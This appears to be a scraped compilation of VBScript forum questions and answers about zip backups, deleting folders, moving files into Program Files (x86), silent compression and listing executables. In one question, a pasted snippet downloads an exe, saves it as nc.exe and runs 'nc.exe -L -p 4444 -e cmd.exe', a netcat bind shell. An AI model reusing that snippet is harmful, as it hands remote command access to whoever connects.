VBS slows near the end - vbscript

I have this script I use to compress a copy of my files to a network drive. The Processing dialog shows the files being copied and I've noticed the process seems to go through files really fast at first, but then slows way down for the last 20% or so (judging by the progress bar). I've noticed this on both W7 32 and 64 bit. Some text files that are only a few K may take a minute or two.
Is this normal, or is there something in my script might be causing the slow-down?
'Target directory
ZipFile = "Z:\MyDocsBU\MyDocsBackup_" & Right("0" & DatePart("m",Now()),2) & Right("0" & DatePart("d",Now()),2) & DatePart("yyyy",Now()) & ".zip"
'Check for source folder on file
set filesys = CreateObject("Scripting.FileSystemObject")
If filesys.FileExists("Z:\MyDocsBU\SourceFolder.txt") Then
set objFileToRead = CreateObject("Scripting.FileSystemObject").OpenTextFile("z:\MyDocsBU\SourceFolder.txt", 1, true)
setDirectory = objFileToRead.ReadAll()
objFileToRead.Close
Set objFileToRead = Nothing
SourceFolder = InputBox("You are about to back up:", "Source Folder", setDirectory)
Else
'Source directory with user input first time only
Set objFileToWrite = CreateObject("Scripting.FileSystemObject").OpenTextFile("Z:\MyDocsBU\SourceFolder.txt",2,true)
SourceFolder = InputBox("Please enter the folder directory to back up." & vbCrLf & vbCrLf & "Example:" & vbCrLf & "C:\Users\your.name\Documents", "Source Folder", "C:\Users\")
If SourceFolder = "" Then
Wscript.Quit
Else
objFileToWrite.Write(SourceFolder)
objFileToWrite.close
End If
End If
Const FOF_CREATEPROGRESSDLG = &H0&
' Create empty ZIP file and open for adding
CreateObject("Scripting.FileSystemObject").CreateTextFile(ZipFile, True).Write "PK" & Chr(5) & Chr(6) & String(18, vbNullChar)
Set zip = CreateObject("Shell.Application").NameSpace(ZipFile)
' Get items in source folder
Set sourceItems = CreateObject("Shell.Application").NameSpace(SourceFolder).Items
' Add all files/directories to the .zip file and show progress bar
zip.CopyHere(sourceItems), FOF_CREATEPROGRESSDLG
'Wait for items to be copied, hides behind progress bar
wscript.echo "Wait until progress bar closes before clicking OK."

This is probably due to write caching. Windows buffers the files into memory first and then to the target destination from there. The main benefit of this is that if an application waits on the file write it gets notified earlier and can continue.
If the target drive is a lot slower in writing than the source is in reading in windows 7 this will lead to the behaviour you described. Normally the files are copied with a speed much higher than technically possible at the beginning (200MB/s to USB 2.0 drives etc). The progress bar is based on the total amount of data copied so the gains will be huge at the beginning. As the time the copy job takes is not really improved by this method the slowdown in the end once the cache is filled is inevitable.
You can easily check if your script is at fault by just manually starting the same copy but as you use the windows explorer file copy anyway I doubt that anything in your script is at fault here.

Related

Delete method vbscript producing path not found error when the path is valid

strFolderPathToDelete = strBackupFoldToDelete & strInternationalDate
set objFSOFolderToDelete = CreateObject("Scripting.FileSystemObject")
set objDeleteFolder = CreateObject("Scripting.FileSystemObject")
'Wscript.Echo strFolderPathToDelete the folder path is valid
set objDeleteFolder = objFSOFolderToDelete.GetFolder(strFolderPathToDelete)
'Wscript.Echo objDeleteFolder the folder path is valid
objDeleteFolder.Delete true ' why this line produces error path not found?
Try calling the DeleteFolder method of the FileSystemObject to see if that helps, and surround it with some error-handling with the hopes of isolating the problem, like so:
strFolderPathToDelete = strBackupFoldToDelete & strInternationalDate
With CreateObject("Scripting.FileSystemObject")
If .FolderExists(strFolderPathToDelete) Then
On Error Resume Next : Err.Clear
.DeleteFolder strFolderPathToDelete, True
If 0 = Err.Number Then
WScript.Echo "Successfully deleted folder: " & strFolderPathToDelete
Else
WScript.Echo "Error (" & CStr(Err.Number) & ") deleting folder: " & Err.Description
End If
On Error Goto 0
Else
WScript.Echo "Sorry, folder does not exist: " & strFolderPathToDelete
End If
End With
It's quite possible the folder might be a symbolic link or junction to another physical path, or perhaps a DFS link or share that you don't have sufficient DELETE permissions to.
Also, ensure the folder is empty (not containing any hidden or system files), and ensure it not being accessed (with any open handles) prior to deleting it. Enterprise security, anti-virus, and backup solutions can occassionally cause unexpected problems -- as well as malware on infected systems.
Hope this helps.

Move command in VBScript destination is program file (x86) "changed to download to (x86)

Please hold all responses. Just found something.
dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
RUNCMD = "nc.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
So my many lines of vbs, and strings it will open (or not) along the way currently has a vbs that opens an url to download something with instructions on where to save, and than when done, moves from download folder to programs (x86) but it looks like i found something that will download the file to (x86) for me. I will see what it takes to download to special folder.
I do know my next struggle will be getting the vbs to wait.
In dos
start/wait drive:\path\file.exe
waits for the install to finish before moving on to next task.
Set WshShell = WScript.CreateObject("Wscript.Shell")
MsgBox "1:1"
Sub2
Sub3
Sub Sub2()
WshShell.Run "cscript //nologo Sub2.vbs", 1, True
End Sub
Sub Sub3()
WshShell.Run "cscript //nologo Sub3.vbs", 1, True
End Sub
Has me creating many vbs files to run in order, which I haven't tested yet. So I don't know if each one will wait till the program has finished installing or if I need to create a loop to see if the exe is still running.
I do have a "learning vbs" folder with examples to modify to build from. I'm expanding as I learn and testing.
I can't move a file from desktop to program file (X86) due to errors
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath("Program Files (x86)", "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
Error mismatch files
And if I remove "" around program files (x86) for destination
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath(Program Files (x86), "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
I get ejected ) error. What am I missing?
EDITING: From response below
As has already been pointed out, Program Files (x86) = ... isn't valid syntax. Variable names must not contain spaces, and parentheses are only allowed when declaring array variables. Also, the SpecialFolders collection does not have a member "Program Files (x86)".
Expand the respective environment variable instead:
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
fso.MoveFile src & "\*", dst & "\"
Also, your command tries to move the content of the folder "file to move". Is that intentional? If you wanted to move a file " file to move" you'd have to change the last statement to fso.MoveFile src, dst & "\".
Also, your command tries to move the content of the folder "file to move"
MY COMMENT:
No, "file to move" fallowed by 'not sure if I should include extension is the name of the file (i.e myfile.extension) not "folder" file to move. The folder is "desktop"
desktop = sh.SpecialFolders("Desktop")
and
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
thus do i put
source = fso.BuildPath(desktop, "file to move.extension")
I'm not looking for someone to write the code for me. I have tried the %path% thing that works in dos (i.e %userprofile%) in vbs before and got stuck so to see
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
has me scratching my head. Even with the expand command.
Doing some testing. Will edit with update. Sorry for late response. Weekend hobby project thing.
As has already been pointed out, Program Files (x86) = ... isn't valid syntax. Variable names must not contain spaces, and parentheses are only allowed when declaring array variables. Also, the SpecialFolders collection does not have a member "Program Files (x86)".
Expand the respective environment variable instead:
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
fso.MoveFile src & "\*", dst & "\"
Also, your command tries to move the content of the folder "file to move". Is that intentional? If you wanted to move a file " file to move" you'd have to change the last statement to fso.MoveFile src, dst & "\".

.VBS called by .BAT to create .zip - run silently (without interface)?

I have a .bat file which I use to back up files, which calls a .vbs and passes it two parameters, as follows:
...
ZipCMD.vbs "C:\Source" "C:\Destination\Data.zip"
...
ZipCMD.vbs contains the following code (Credit to garbb):
Set objArgs = WScript.Arguments
Set FS = CreateObject("Scripting.FileSystemObject")
InputFolder = FS.GetAbsolutePathName(objArgs(0))
ZipFile = FS.GetAbsolutePathName(objArgs(1))
CreateObject("Scripting.FileSystemObject").CreateTextFile(ZipFile, True).Write "PK" & Chr(5) & Chr(6) & String(18, vbNullChar)
Set objShell = CreateObject("Shell.Application")
Set source = objShell.NameSpace(InputFolder).Items
numfolderitems = objShell.NameSpace(InputFolder).Items.count
objShell.NameSpace(ZipFile).CopyHere(source)
' wait until number of items in zip file is the same as in the folder we are zipping up
' also sometimes gets errors when getting folder object for zip file, probably because it is in use? so ignore these
On Error Resume Next
Do while True
numitemsinzip = objShell.NameSpace(ZipFile).Items.count
If Err.Number = 0 and numitemsinzip = numfolderitems Then
Exit Do
ElseIf Err.Number <> 0 then
Err.Clear
End If
wScript.Sleep 10
Loop
On Error Goto 0
When the zipping is occurring, the usual windows 'Compressing files' interface appears, and shows the progress bar ticking along for a few minutes, before closing and disappearing.
Question: Can vbs run a compression silently (i.e. without interface)? -- I've read this article, which shows a flag, however this doesn't appear to work with copying to .zip, for some reason.
Follow-up question: If it's not possible for the .vbs which I'm using to achieve this, then is there an alternative way, which still utilises calling another file/process(?) (.vbs / .js, or other?) and feeding it the two paths from cmd?
Edit: I'm trying to achieve this without the use of third-party software (e.g. 7zip), and simply using native windows code.
Suppose I am almost 3 months late on this, but if you have powershell version 5 or later, you can simply create a powershell script:
Compress-Archive "C:\Source" "C:\Destination\Data.zip"
or from a batch file:
powershell Compress-Archive "C:\Source" "C:\Destination\Data.zip"
Also see this option

Grab file name from file list, if file size greater than 1MB do copy

I have been set out by the following task by one of my managers at work:
We have a database of images for all our clothing styles and colours. For each type of clothing and for each colour we have 3 images. 2 of them are low resolution images and 1 of them is a high resolution image.
We need to copy the high res image for each style and colour from the old database which is made up of sub folders into one folder therefore ignoring the folder structure.
I have come across this Visual Basic script which is quite close to what I need but requires a few tweaks, as I am not really experienced with VB scripts I was hoping I could get some help here over at SO.
What I need to script to be tweaked to is:
-The script to read image names from a list (filelist.txt) (if possible without requiring to add the path for each image to the list, just the name and the extension which is .jpg)
-The script only needs to grab images if the size is greater than 1MB.
-The script to copy the images from sub-folders without keeping the folder structure.
Any and all help will be greatly appreciated, explanations behind the tweaks and any guidance will also be kind but not required.
Here is the script that I have so far. The paths are temporary as I was playing around with the script.
Option Explicit
' The source path for the copy operation.
Const strSourceFolder = "C:\Users\Cou Rou\Desktop\Old database"
' The target path for the copy operation.
Const strTargetFolder = "C:\Users\Cou Rou\Desktop\New database"
' The list of files to copy. Should be a text file with one file on each row. No paths - just file name.
Const strFileList = "C:\Users\Cou Rou\Desktop\Old database\filelist.txt"
' Should files be overwriten if they already exist? TRUE or FALSE.
Const blnOverwrite = FALSE
Dim objFSO
Set objFSO = CreateObject("Scripting.FileSystemObject")
Const ForReading = 1
Dim objFileList
Set objFileList = objFSO.OpenTextFile(strFileList, ForReading, False)
Dim strFileToCopy, strSourceFilePath, strTargetFilePath
On Error Resume Next
Do Until objFileList.AtEndOfStream
' Read next line from file list and build filepaths
strFileToCopy = objFileList.Readline
strSourceFilePath = objFSO.BuildPath(strSourceFolder, strFileToCopy)
strTargetFilePath = objFSO.BuildPath(strTargetFolder, strFileToCopy)
' Copy file to specified target folder.
Err.Clear
objFSO.CopyFile strSourceFilePath, strTargetFilePath, blnOverwrite
If Err.Number = 0 Then
' File copied successfully
Else
' Error copying file
Wscript.Echo "Error " & Err.Number & " (" & Err.Description & "). Copying " & strFileToCopy
End If
Loop

Can I list apps that don't have registry entries?

I've been working on a way to quickly and easily list all of the software installed on my machine. Once complete, I'd like to send it out to my group so that I can have everyone run it. Since the purpose of this exercise is generate a list of all of the applications that we absolutely require access to to our IT administrators, I don't want to miss anything important.
Up to this point, I've used code very similar to this - it looks in the registry at SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ and Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ and gives me all of the software that has been installed. However, a bunch of important programs are conspicuously absent (e.g. R, RStudio, SQL Developer), and I assume it's because they do not use Windows Installers.
This brings me to my question - is there a way I can list all of the programs that can be run on my machine (that have not impacted the registry)? Essentially, I think I want all of the non-system *.exe files, but that is probably oversimplifying things.
Anyone have any ideas? My code is VBS now, but I can muddle my way through most things.
If you want to find them all then you need to search every single file on your machine and check whether or not it has an executable extension. I'm reasonably confident that you are not going to want to do this.
I read your answer and laughed, since I was also "reasonably confident" that I did not want to go through all of the files on my (or anyone else's) machine. Once the laughing stopped, I realized that that's essentially what I had to do...
I've come up with something that works, and it now takes minutes to run (it took seconds to only check the registry), but it does work. I'm putting it here in case it can assist someone else, or maybe someone can find a way to make it more efficient. You need to supply some paths to folders where you want to look for exe files, and a file that you want to output to.
Thanks for reading.
On Error Resume Next
Folders = Array("C:\users\me","C:\SoftwareFolder1","C:\SoftwareFolder2","C:\SoftwareFolder3")
sFile="C:\myExeFiles.txt"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Const ForReading = 1
Const ForWriting = 2
Const OverwriteIfExist = -1
Set fFile = objFSO.CreateTextFile(sFile, OverwriteIfExist, OpenAsASCII)
For Each x In Folders
Set objFolder = objFSO.GetFolder(x)
suckTheData objFSO, fFile, objFolder
Set objFolder = Nothing
Next
MsgBox("Done")
Set objFSO = Nothing
Sub suckTheData(objFSO, fFile, objFolder)
' *** STEP 1 *** 'Find files with a partiular extension in this folder
For Each objFile In objFolder.Files
If UCase(objFSO.GetExtensionName(objFile.Name))="EXE" Then
fFile.Write objFile & vbCrLf
If Err.Number <> 0 Then
fFile.Write "Error: " & objFile & " " & Err.Number & Err.Source & " " & Err.Description & vbCrLf
End If
End If
Next
Set objFile = Nothing
' *** STEP 2 *** 'Now that we've processed files, repeat for subdirectories
For Each subf In objFolder.SubFolders
'some folders can't/shouldn't be checked -
'16 is a normal folder, 32 is an archive, 1046 is symbolic, etc
If subf.Attributes ="16" Then
suckTheData objFSO, fFile, subf
End If
Next
Set subf = Nothing
End Sub

Resources